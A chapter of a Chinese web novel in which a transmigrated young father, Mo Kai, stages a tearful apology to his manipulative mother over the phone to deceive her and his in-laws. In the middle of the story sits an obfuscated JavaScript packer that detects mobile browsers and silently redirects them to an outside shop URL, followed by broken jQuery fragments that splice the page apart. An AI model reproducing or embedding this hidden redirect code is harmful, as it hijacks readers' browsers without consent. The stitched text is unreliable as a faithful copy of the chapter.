6. 第六章

作品:《成了花市热文里的炮灰他爸?

    莫开的笑脸“嘎达”一下,就耷拉下来了。


    “你说谁?”


    “你妈啊,你妈——”宋玉丰大喘着气,他是从供销社那边跑来的,那个电话可急了。


    不过他之所以这么积极,也和这电话是省城那边来的有关系,万一有天莫开回了省城,应该......嘿嘿,能记住他的好吧?


    “哦。”莫开突然坐了下来。


    慢条斯理地拿起桌面上的鸡蛋,磕了磕。


    “咔嚓。”


    清脆的蛋壳破裂声好听无比,让屋里屋外的两大一小都条件反射地咽了一口口水。


    宋玉丰想说你怎么还不赶紧过去,你妈妈找你找得非常急,电话筒还在一边放着呢,可一张口却成了。


    “咕咚...你哪来的鸡蛋?!”


    莫开没有回答,修长的手指剥掉龟裂的蛋壳,喂给莫瓜瓜。


    “瓜瓜,吃吧。”


    “爸爸先吃!”莫瓜瓜拼命咽着口水,但小嘴巴闭得紧紧的。


    “好。”莫开拿起来,咬了一小口,然后递到瓜瓜嘴边,眉眼间都是温柔,“这样可以了吧?”


    “嗯!”莫瓜瓜眼睛亮晶晶地点头,这才张开小嘴,轻轻地咬了一口。


    “哇——”他嘴角的小梨涡一下子就开花了。


    整个小身体幸福得不得了,情不自禁地在凳子上一扭一扭的。


    “爸爸,好好吃啊,蛋蛋好好吃!”


    “好吃吧?宝宝放心,以后我们每天都会吃到的。”


    “莫开,你到底哪来的鸡蛋啊,而且你怎么每天吃啊?”见莫开不理他,宋玉丰直接走了过去,“你咋不搭理我啊?”


    “饿了。”


    莫开拿起勺子,挖了一勺糊糊,放进嘴里,粗糙干涩的地瓜叶剌嗓子又噎人,难吃得要死。


    庄家人和省城的那群人平时都吃什么呢?


    莫开笑了,只是笑意里只带了讽刺。


    ......


    莫开细嚼慢咽地吃完了饭,才带着莫瓜瓜一步一溜达地去了村口的供销社。


    一见到莫开来了,一个一直守在柜台后面的中年女人眼珠子突然狠狠一翻!


    皱耷耷的三角眼皮又毒又厚,将本来就小的眼睛遮得那叫一个严实,脸臭得堪比粪坑。


    眼刀子狠狠划在莫开脸上,恨不得化为实质,把莫开脸划个稀巴烂!


    孙红红。


    也是庄家人,确切来说,是莫开的大伯母,生了三个孩子,正是庄华高庄华兴庄翠翠三个人的亲妈。


    黄华村稍微好点儿的几个“岗位”都让庄家人承包了。


    莫开全当看不见,甚至有点想笑。


    毕竟生气伤身呢~


    气死更好。


    莫开牵着莫瓜瓜走到柜台一角的座机旁边,拿起了听筒,听到里面传来一断一续的急喘的粗气。


    哇,他这个亲妈也气得不轻呢。


    “喂?”


    莫开的声音刚刚响起,里面顿时就传来了呼啦啦的一顿暴骂,带着哭腔。


    “莫开,你个不孝子白眼狼,没有良心的东西,你到底是要干什么!你要气死我吗!!!”


    “我的命好苦啊,我这么费劲巴拉地把你养大,你就这么回报我的?我这么不容易,没日没夜地辛苦,还要被你折腾,被你坑害!我当初生你的时候难产,都要没命了,医生......医生都让我放弃,可我偏偏要坚持生下你!大家都说我太爱孩子了,所以现在身体才这么差......”


    女人不断抽噎。


    “早知道,早知道你会长成这么白眼不孝的样子,我当时怎么不一尸两命,死了算了啊......”


    女人在电话里面可怜地哭嚎着,简直让人闻之落泪。


    莫开眼稍却越来越冷。


    就是这些话术,就是这些。


    硬生生逼死了原身,让缺爱的原身被敲骨吸髓的每一天,都误以为——


    这是爱。


    甚至到死都以为,他欠他妈妈的太多了。


    吴静莲把原身生前的每一寸骨每一滴血都吃干抹净,把原身的精神、□□、身份、劳动力......一切的一切,都燃烧殆尽,去温暖滋润他的亲亲二婚老公一家,却还要嫌她这个儿子太瘦了,骨头烧出的火不够旺!!!


    “说好的事情你都能反悔,我是这么教你的么?你这样别人会以为我是什么人?!”


    吴静莲真的要气疯了,头都发晕。


    她哭得不行。


    她怎么也没想到,她为了让这次见面尽量完美融洽,欢欢喜喜地提前三天开始收拾家,窗户擦了四次,地也拖了五遍,费尽心思做了一大桌子菜,努力挤出最灿烂的笑容去迎接她老公的亲人,结果见面就被砸了一句。


    “二伯母,莫开反悔了,在火车站大闹,我可差点就被你好儿子弄进去了!”


    她当时——


    她当时整个人,浑身都凉了。


    莫开但凡有一点点心思,但凡有一点点孝心,就不会不考虑到他这么闹了后,她这个妈怎么办!


    “你怎么能这么恶毒啊,不但要害庄家,还要害你妈我!你但凡有一点孝心,一点考虑你妈妈都处境,也不至于这么做......你是不是恨我这个妈啊?!!你是不是不愿意要我这个妈?!好,我现在就一头撞死,一头撞死!!!这样你是不是就能不害华兴,不害你爸了?莫开,你听着啊,你在电话里听着!你妈我现在就一头撞......”


    “妈!我知道错了!”莫开突然哭了,他声音无比懊悔,痛苦,喘不上气,“妈,对......对不起,我错了,我错了!!!我不该那样,我不该为了一己私欲反悔,你别,你别.......”


    看着角落里背对着自己的莫开突然弓着腰大哭,肩膀都在颤抖,一直用细尖的眼角瞥着那边动静的孙红红的脸瞬间就亮堂了起来。


    一下子变得很得意。


    呵呵,她就知道。


    她就知道!


    “我会向庄家好好地道歉,再把平时的工分都送一半给大堂哥他们,但是我怕做了这些,恐怕也不够......妈,妈,我该怎么办,我怎么做才能弥补,才能让你不再生气,妈,你别生气......”


    “当然不够,你就是一辈子给人家当牛做马,也不够!”


    吴静莲的声音陡然尖利,但不再哭了,仿佛在莫开低声下气认错的瞬间,她一下子吸够了需要的精神气儿,她的气一下子顺了。


    她的眼泪还挂在脸上,但眉眼已经舒展开。


    ”首先你应该去庄家好好道歉!”


    “妈,我会好好道歉的,但是我什么东西都没有,除了工分,工分还那么少,我怕他们不接受......”莫开哭着捂住脸,“妈,你能不能、能不能帮我买点东西给庄家,我以后一定、一定再也不那样做了,我不会再自私,更不会做任何出格的、您不同意的事,我会好好孝顺庄家,孝顺爸爸,孝顺你......”


    “我是你妈......就算,就算你这么不孝,这么白眼狼,我也不可能真的不管你。”吴静莲听着这些话,终于有点满意了。


    但她还是很生气。


    “妈,我错了,我真的知道错了。”


    ”行。“吴静莲本来就打算买东西寄过去了,毕竟庄家那边她必须好好弥补赔罪!


    但更重要的,还是莫开的态度!


    他就算是磕头,也得磕到庄家人满意。


    “我明天就去买,买了寄给你,你带上门好好赔罪!磕头赔罪!不管人家说什么,你都要听着,受着!拿出好的态度,听到没有?!而且,你得......吴静莲,我的白色小皮靴呢,你放哪儿去了!”


    突然,一道尖锐的年轻女声从听筒的那边传了过来。


    十分不屑,毫无尊重。


    但吴静莲的声音一下子转了一百八十个弯儿,变得无比温柔,慈爱,讨好。


    “哎呀,是静姝啊,你的小皮靴我给刷干净了放在露台晾着呢。”


    莫开甚至能感觉到声音里挤出来的讨好的褶子。


    “我的皮靴是真皮的!不能暴晒你不知道吗,你快给我拿过来!”


    “好好,别生气啊静莲,都是阿姨的错,我不知道,你别生气啊,你别生气......莫开,你最好记住我刚刚说的话!啪!”


    电话挂了。


    莫开还捂着脸,肩膀不断抽搐,似乎哭得停不下来了。


    一个十七八岁左右模样的少年在柜台上摸了一块麦芽糖,付了钱,瞄了莫开的背影好几眼,转身就跑了。


    他一路跑到村尾。


    “大哥,大哥——”


    谢成缺正在院子里摆弄手里西削得薄薄的木板。


    “大哥!”


    谢聪跑进院子,一脸煞有其事。


    “我刚刚在供销社遇到一个人,哭得老惨了,哎哟喂,那都哭得抽抽了,你猜是谁?”


    谢成缺将木板重新放在了刨花板上,连眼皮都没抬。


    “大哥,你别生气了,我错了,我真的知道错了。”谢聪难受死了,他真的没有想到,他不过撒了一个谎,居然让他大哥再也不搭理他了。


    都怪钱胖子!


    非说什么这样可以让他大哥从外地立马赶回来,还能好好教训一顿那个带偏了全村姑娘审美、四处勾搭异性的莫开,一箭双雕。


    加上他妹妹真的老夸莫开好看,他担心他妹妹真的看上那个鳏夫,所以就......一时脑抽。


    啊啊啊啊但是他现在真的知道他做得很差劲,很离谱了。


    谢成缺还是没有给谢聪一个眼神。


    谢聪跟在谢成缺的屁股后面,急得像条小狗:“哥,是莫开,在供销社哭的人是莫开啊!”


    他没注意到谢成缺低垂着的眸子里,眼神突然变了。


    还在喋喋不休。


    “好像是他妈妈给他打电话了吧,好像他被他妈妈骂了?他一直在道歉,一直在哭,怪惨的,都哭抽抽了,还说什么会把工分让出去,会好好孝顺他们,也不知道他说的谁,哎,早知道他这么惨,我就不针对他了,我真的知道错了,大——啊,大哥,你去哪儿啊?!!”


    供销社里。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367359|199738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哭抽抽的莫开已经挂断了电话,悄悄用手指沾了点口水,抹在了眼角和脸上。


    又把眼睛揉得通红,才直起了身,转过头。


    妈的,累死他了,这戏演的。


    他肩膀都抽酸了......


    他演技这么好,穿越之前该去演部短剧的。


    “呵,早知今日,何必当初啊?”孙红红阴阳怪气又得意的声音传了过来。


    莫开没有看她,十分“低落”地驼着背,垂着脸,牵起了莫瓜瓜的手,走出供销社。


    “爸爸,爸爸......你别哭,爸爸.....”莫瓜瓜却是真的好着急,他拼命地歪着小脑袋看莫开,眼睛都有点红红的,“爸爸你怎么了,你不舒服吗爸爸,有人欺负你吗,爸爸,瓜瓜帮你打他!打他!”


    “乖,没事儿,爸爸现在不难受。”要不是怕露馅,现在莫开都想吹口哨了。


    演个戏而已,既能麻痹省城那边和庄家,还能得到一个塞满好东西的包裹,啧啧......


    值得很!


    莫开回到知青宿舍,就换掉了身上的衣服,开始洗衣服,这身衣服穿好几天了,还带着泥,轻微洁癖的他有点受不了了。


    在门口晾衣服的时候,莫开的余光瞥见一个女知青慌慌张张地从外面回来,一不小心被门槛绊到,还摔了一跤。


    莫开连忙过去扶了一把:“你没事儿吧?孙乐英同志?!”


    扎着长长的一个粗麻花辫子的孙乐英慌乱地抬起头,眼睛通红,似乎刚狠狠地哭过,在看到莫开的瞬间,仿佛吓到了似的,一下子弹开了。


    “没没,我没事!”孙乐英甩掉了莫开的手,急忙跑走了。


    莫开有点莫名其妙,这是怎么了?


    他身上不脏啊。


    “爸爸,是坏蛋叔叔。”瓜瓜突然伸出小手,指了指外面。


    “什么坏蛋叔叔?”莫开一抬头,看到了一个疑似谢成缺的背影,可当他想看清时,那背影也不见了。


    今天怎么回事,怎么一个两个的都那么神神秘秘的。


    莫开无语。


    但他还是蹲下来,认真地对莫瓜瓜说:“瓜瓜,那不是坏蛋叔叔,那个叔叔是好人。”


    “可是他、他之前打爸爸......”


    “没有,他没有打爸爸,那都是误会。”莫开耐心教导,“那个叔叔可好了,还帮爸爸治病呢,以后瓜瓜不可以再喊坏蛋叔叔了,知不知道?”


    “坏蛋叔叔帮爸爸治病?!”莫瓜瓜一下子愣住了。


    随后,他的脸慢慢红了。


    小模样既迷茫、又难受,还很愧疚。


    “对不起爸爸,我,我......”


    “没关系,宝宝,你误会了也不是你的错呀,以后我们不这么喊就行了。”莫开一见莫瓜瓜的小模样,心都软了。


    他温柔地摸了摸瓜瓜稀疏蜡黄的头发,可突然想起来了什么,他的眼神缓缓冷了下来。


    这么单纯善良的瓜瓜,以后被折磨羞辱成什么样子,才能扭曲黑化。


    回省城,绝对不能是他目标的终点。


    否则......


    一旦走进原书时间线,瓜瓜的血型就注定了财高权重的主角团不可能放得过他们。


    他必须拥有能和那群畜生抗衡的实力!


    不然,恐怕不止他的瓜瓜,甚至是他......


    也难以独善其身。


    莫开带着瓜瓜午睡了一会儿,就去田里上工了。


    工地上,生产小队长庄华高得意洋洋,看着来上工的莫开,鼻孔和小眼睛一起朝天,仿佛在看自家的奴隶。


    莫开舔了舔牙齿,只觉得眼前的傻比亮得刺眼。


    他压根不想搭理,演出来一副愧疚讨好的表情,就开始慢悠悠地干活,然后干完活,记工分的时候,该记几分还是记了几分。


    庄华高脸色一下子变了,臭得很!


    怎么回事,这个莫开不是说要把一半工分给他们吗?


    结果下一秒,他就听到莫开怯怯地说:“庄队长,这些工分能、能换成鸡蛋吗,我......我有很重要的事情,想、想送人。”


    庄华高一句“不行”顿时就咽了下去。


    呵,原来莫开是想把所有工分换成鸡蛋,再送给他们赔罪?!


    莫开还算有点脑子,知道别的拿不出手。


    “按理说不行。”庄华高一下子气就顺了,他傲慢地抬着下巴。


    “我知道,但是小队长您和食堂那边说说呗,通融通融,我这真的有急用,很重要,我要送很重要的人赔罪,不然,不然我会愧疚得永远睡不着觉......”莫开低着头,肩膀颤抖,似乎要哭了。


    “那行吧,明天早上,你来集体食堂吃饭的时候,去换吧。”庄华高吊着眼稍,“也就我们心善,才会通融。”


    莫开快要忍不住笑了。


    妈的,拿捏傻比果然只需要吹捧。


    他内心翻了个白眼,才抬起头,眼睛微红,面上全是感激。


    “谢谢,谢谢庄队长!”


    还好还好,明天去农场那边,有东西带了。


    不然空着手......怪不好意思的呢:)